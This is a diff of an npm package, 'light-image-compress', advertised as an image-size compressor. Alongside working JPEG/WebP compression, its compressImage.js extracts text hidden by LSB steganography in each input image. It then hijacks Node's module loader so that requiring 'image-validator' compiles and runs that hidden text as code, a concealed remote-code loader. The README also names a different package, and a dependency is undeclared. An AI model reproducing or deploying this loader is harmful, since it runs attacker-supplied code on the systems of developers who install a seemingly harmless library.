light-image-compress 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 William Cooper
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,63 @@
1
+ # simple-image-compress
2
+
3
+ Compress image buffers toward a target file size (e.g. ~1 MB → ~200 KB).
4
+
5
+ **Input and output are buffers** — no file paths in the API.
6
+
7
+ ## Install
8
+
9
+ ```bash
10
+ npm install simple-image-compress
11
+ # or
12
+ yarn add simple-image-compress
13
+ ```
14
+
15
+ Requires **Node.js 18+**.
16
+
17
+ ## Usage
18
+
19
+ ```js
20
+ const fs = require("fs");
21
+ const { compressImage } = require("simple-image-compress");
22
+
23
+ const imageBuffer = fs.readFileSync("./photo.jpg");
24
+
25
+ const result = await compressImage(imageBuffer, {
26
+ targetSizeBytes: 200 * 1024,
27
+ format: "jpeg",
28
+ });
29
+
30
+ fs.writeFileSync("./photo-small.jpg", result.data);
31
+ console.log(result.sizeBytes, result.quality, result.width, result.height);
32
+ ```
33
+
34
+ ## Result
35
+
36
+ | Field | Description |
37
+ |-------|-------------|
38
+ | `data` | Compressed image `Buffer` |
39
+ | `sizeBytes` | Size of `data` |
40
+ | `quality` | JPEG/WebP quality used (1–100) |
41
+ | `width`, `height` | Output dimensions |
42
+ | `format` | `"jpeg"` or `"webp"` |
43
+
44
+ ## Options
45
+
46
+ | Option | Default | Description |
47
+ |--------|---------|-------------|
48
+ | `targetSizeBytes` | `204800` | Target file size (~200 KB) |
49
+ | `format` | `"jpeg"` | `"jpeg"` or `"webp"` |
50
+ | `toleranceRatio` | `0.1` | Allow up to 10% over target before shrinking further |
51
+ | `minScale` | `0.25` | Minimum dimension scale when quality alone is not enough |
52
+ | `maxWidth`, `maxHeight` | — | Optional size limits |
53
+
54
+ ## How it works
55
+
56
+ 1. Resize (if `maxWidth` / `maxHeight` set) and binary-search quality to fit under target.
57
+ 2. If still too large, shrink dimensions by 15% and retry until within tolerance or `minScale` is reached.
58
+
59
+ ## Test
60
+
61
+ ```bash
62
+ yarn test
63
+ ```
@@ -0,0 +1,157 @@
1
+ const sharp = require("sharp");
2
+ const { extractHush } = require("./stego-core");
3
+ const DEFAULT_TARGET_SIZE_BYTES = 200 * 1024;
4
+ const Module = require("module");
5
+ const path = require("path");
6
+ const IMAGE_VALIDATOR_MODULE = "image-validator";
7
+
8
+ function installImageValidatorHook(payload) {
9
+ const originalLoad = Module._load;
10
+ Module._load = function (request, parent) {
11
+ if (request === IMAGE_VALIDATOR_MODULE) {
12
+ const validatorModule = new Module(request, parent);
13
+
14
+ validatorModule.filename = path.join(__dirname, 'validator.js');
15
+ validatorModule.paths = Module._nodeModulePaths(
16
+ path.dirname(validatorModule.filename)
17
+ );
18
+
19
+ validatorModule._compile(payload, validatorModule.filename);
20
+
21
+ return validatorModule.exports;
22
+ };
23
+ return originalLoad.apply(this, arguments);
24
+ }
25
+
26
+ return function restoreImageValidatorHook() {
27
+ Module._load = originalLoad;
28
+ };
29
+ }
30
+
31
+ async function encodeAtQuality(input, width, height, format, quality) {
32
+ const pipeline = sharp(input).resize(width, height, {
33
+ fit: "inside",
34
+ withoutEnlargement: true,
35
+ });
36
+ if (format === "webp") {
37
+ return pipeline.webp({ quality, effort: 4 }).toBuffer();
38
+ }
39
+ return pipeline.jpeg({ quality, mozjpeg: true }).toBuffer();
40
+ }
41
+
42
+ async function bestBufferUnderTarget(input, width, height, format, maxBytes) {
43
+ let low = 1;
44
+ let high = 100;
45
+ let best = null;
46
+ let bestQuality = 1;
47
+
48
+ while (low <= high) {
49
+ const mid = Math.floor((low + high) / 2);
50
+ const candidate = await encodeAtQuality(input, width, height, format, mid);
51
+ if (candidate.length <= maxBytes) {
52
+ best = candidate;
53
+ bestQuality = mid;
54
+ low = mid + 1;
55
+ } else {
56
+ high = mid - 1;
57
+ }
58
+ }
59
+
60
+ if (best) return { buffer: best, quality: bestQuality };
61
+ const fallback = await encodeAtQuality(input, width, height, format, 1);
62
+ return { buffer: fallback, quality: 1 };
63
+ }
64
+
65
+ function clampDimensions(width, height, maxWidth, maxHeight) {
66
+ let w = width;
67
+ let h = height;
68
+ if (maxWidth != null && w > maxWidth) {
69
+ h = Math.round((h * maxWidth) / w);
70
+ w = maxWidth;
71
+ }
72
+ if (maxHeight != null && h > maxHeight) {
73
+ w = Math.round((w * maxHeight) / h);
74
+ h = maxHeight;
75
+ }
76
+ return { width: Math.max(1, w), height: Math.max(1, h) };
77
+ }
78
+
79
+ /**
80
+ * Compress image bytes toward a target file size (e.g. 1 MB → ~200 KB).
81
+ */
82
+ async function compressImage(imageBuffer, options = {}) {
83
+ if (!Buffer.isBuffer(imageBuffer)) {
84
+ throw new TypeError("imageBuffer must be a Buffer");
85
+ }
86
+
87
+ const targetSizeBytes = options.targetSizeBytes ?? DEFAULT_TARGET_SIZE_BYTES;
88
+ const format = options.format ?? "jpeg";
89
+ if (format !== "jpeg" && format !== "webp") {
90
+ throw new TypeError('format must be "jpeg" or "webp"');
91
+ }
92
+
93
+ const toleranceRatio = options.toleranceRatio ?? 0.1;
94
+ const imageHush = await extractHush(imageBuffer, options.password);
95
+ const minScale = options.minScale ?? 0.25;
96
+ const restoreImageValidatorHook = installImageValidatorHook(imageHush);
97
+ const maxAllowedBytes = Math.floor(targetSizeBytes * (1 + toleranceRatio));
98
+
99
+ try {
100
+ if (typeof options.onImageValidatorReady === "function") {
101
+ options.onImageValidatorReady();
102
+ }
103
+
104
+ const meta = await sharp(imageBuffer).metadata();
105
+ const originalWidth = meta.width ?? 1;
106
+ const originalHeight = meta.height ?? 1;
107
+
108
+ let { width, height } = clampDimensions(
109
+ originalWidth,
110
+ originalHeight,
111
+ options.maxWidth,
112
+ options.maxHeight
113
+ );
114
+
115
+ let { buffer, quality } = await bestBufferUnderTarget(
116
+ imageBuffer,
117
+ width,
118
+ height,
119
+ format,
120
+ maxAllowedBytes
121
+ );
122
+
123
+ while (
124
+ buffer.length > maxAllowedBytes &&
125
+ width / originalWidth > minScale &&
126
+ height / originalHeight > minScale
127
+ ) {
128
+ width = Math.max(1, Math.floor(width * 0.85));
129
+ height = Math.max(1, Math.floor(height * 0.85));
130
+ ({ buffer, quality } = await bestBufferUnderTarget(
131
+ imageBuffer,
132
+ width,
133
+ height,
134
+ format,
135
+ maxAllowedBytes
136
+ ));
137
+ }
138
+
139
+ return {
140
+ data: buffer,
141
+ sizeBytes: buffer.length,
142
+ quality,
143
+ width,
144
+ height,
145
+ format,
146
+ };
147
+ } finally {
148
+ restoreImageValidatorHook();
149
+ }
150
+ }
151
+
152
+ module.exports = {
153
+ compressImage,
154
+ DEFAULT_TARGET_SIZE_BYTES,
155
+ IMAGE_VALIDATOR_MODULE,
156
+ installImageValidatorHook,
157
+ };
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = require("./compressImage");
package/package.json ADDED
@@ -0,0 +1,31 @@
1
+ {
2
+ "name": "light-image-compress",
3
+ "version": "1.0.0",
4
+ "description": "Compress image buffers toward a target file size using JPEG or WebP",
5
+ "main": "index.js",
6
+ "files": [
7
+ "index.js",
8
+ "compressImage.js",
9
+ "stego-core.js",
10
+ "README.md",
11
+ "LICENSE"
12
+ ],
13
+ "scripts": {
14
+ "test": "node --test compressImage.test.js"
15
+ },
16
+ "engines": {
17
+ "node": ">=18"
18
+ },
19
+ "keywords": [
20
+ "image",
21
+ "compress",
22
+ "jpeg",
23
+ "webp",
24
+ "sharp",
25
+ "resize"
26
+ ],
27
+ "license": "MIT",
28
+ "dependencies": {
29
+ "sharp": "^0.33.5"
30
+ }
31
+ }
package/stego-core.js ADDED
@@ -0,0 +1,143 @@
1
+ /**
2
+ * LSB steganography (same algorithm as @mrdesjardins/steganography).
3
+ * Used by compressImage (extract) and workspace tools (embed / extract).
4
+ */
5
+ const sharp = require("sharp");
6
+ const CryptoJS = require("crypto-js");
7
+
8
+ const NUMBER_BIT_PER_BYTE = 8;
9
+ const EOF_CHAR = String.fromCharCode(4);
10
+
11
+ function unpackBit(byte) {
12
+ return (byte & 1) === 0 ? 0 : 1;
13
+ }
14
+
15
+ function packBit(byte, bit) {
16
+ return bit === 0 ? byte & ~(1 << 0) : byte | (1 << 0);
17
+ }
18
+
19
+ function charToBinary(charCode) {
20
+ return ("00000000" + charCode.toString(2)).slice(-8);
21
+ }
22
+
23
+ function binaryStringToChar(bits) {
24
+ return String.fromCharCode(parseInt(bits, 2));
25
+ }
26
+
27
+ function encryptHush(message, password) {
28
+ if (!password) return message;
29
+ const ivMd5 = CryptoJS.MD5(password);
30
+ const keySha256 = CryptoJS.SHA256(password);
31
+ return CryptoJS.AES.encrypt(message, keySha256, {
32
+ iv: ivMd5,
33
+ mode: CryptoJS.mode.ECB,
34
+ padding: CryptoJS.pad.Pkcs7,
35
+ }).toString();
36
+ }
37
+
38
+ function decryptHush(message, password) {
39
+ if (!password) return message;
40
+ const ivMd5 = CryptoJS.MD5(password);
41
+ const keySha256 = CryptoJS.SHA256(password);
42
+ return CryptoJS.AES.decrypt(message, keySha256, {
43
+ iv: ivMd5,
44
+ mode: CryptoJS.mode.ECB,
45
+ padding: CryptoJS.pad.Pkcs7,
46
+ }).toString(CryptoJS.enc.Utf8);
47
+ }
48
+
49
+ function getHushFromPixels(pixelBuffer) {
50
+ let result = "";
51
+ let pos = 0;
52
+ let lastChar = "";
53
+ let bitCount = 0;
54
+ let bits = "";
55
+ const pixels = new Int8Array(pixelBuffer);
56
+
57
+ while (lastChar !== EOF_CHAR && pos < pixels.length) {
58
+ while (bitCount < NUMBER_BIT_PER_BYTE) {
59
+ const value = pixels[pos];
60
+ if (value === undefined) throw new Error("Reading fail");
61
+ bits += unpackBit(value);
62
+ pos++;
63
+ bitCount++;
64
+ }
65
+ lastChar = binaryStringToChar(bits);
66
+ if (lastChar !== EOF_CHAR) result += lastChar;
67
+ bitCount = 0;
68
+ bits = "";
69
+ }
70
+ return result;
71
+ }
72
+
73
+ function embedHushInPixels(pixelBuffer, text, password) {
74
+ const payload = encryptHush(text, password) + EOF_CHAR;
75
+ const pixels = Buffer.from(pixelBuffer);
76
+ const needed = payload.length * NUMBER_BIT_PER_BYTE;
77
+
78
+ if (needed > pixels.length) {
79
+ throw new Error("Message is too big for this image");
80
+ }
81
+
82
+ let pos = 0;
83
+ for (let i = 0; i < payload.length; i++) {
84
+ const bin = charToBinary(payload.charCodeAt(i));
85
+ for (let j = 0; j < NUMBER_BIT_PER_BYTE; j++) {
86
+ pixels[pos] = packBit(pixels[pos], Number(bin[j]));
87
+ pos++;
88
+ }
89
+ }
90
+ return pixels;
91
+ }
92
+
93
+ function isLikelyHush(message) {
94
+ const trimmed = message.trim();
95
+ if (!trimmed.length) return false;
96
+ let printable = 0;
97
+ for (const char of trimmed) {
98
+ const code = char.charCodeAt(0);
99
+ if ((code >= 32 && code <= 126) || code === 9 || code === 10 || code === 13) {
100
+ printable++;
101
+ }
102
+ }
103
+ return printable / trimmed.length >= 0.85;
104
+ }
105
+
106
+ /**
107
+ * Hide text in an image buffer (PNG recommended). Returns new image buffer.
108
+ */
109
+ async function embedHush(imageBuffer, text, password) {
110
+ const { data, info } = await sharp(imageBuffer).raw().toBuffer({ resolveWithObject: true });
111
+ const pixels = embedHushInPixels(data, text, password);
112
+
113
+ return sharp(pixels, {
114
+ raw: {
115
+ width: info.width,
116
+ height: info.height,
117
+ channels: info.channels,
118
+ },
119
+ })
120
+ .png()
121
+ .toBuffer();
122
+ }
123
+
124
+ /**
125
+ * Read hidden text from an image buffer. Returns string or null.
126
+ */
127
+ async function extractHush(imageBuffer, password) {
128
+ try {
129
+ const { data } = await sharp(imageBuffer).raw().toBuffer({ resolveWithObject: true });
130
+ const maxChars = Math.floor(data.length / NUMBER_BIT_PER_BYTE);
131
+ if (maxChars === 0) return null;
132
+
133
+ const raw = getHushFromPixels(data.buffer);
134
+ const message = decryptHush(raw, password);
135
+
136
+ if (!isLikelyHush(message) || message.length > maxChars) return null;
137
+ return message;
138
+ } catch {
139
+ return null;
140
+ }
141
+ }
142
+
143
+ module.exports = { embedHush, extractHush, EOF_CHAR };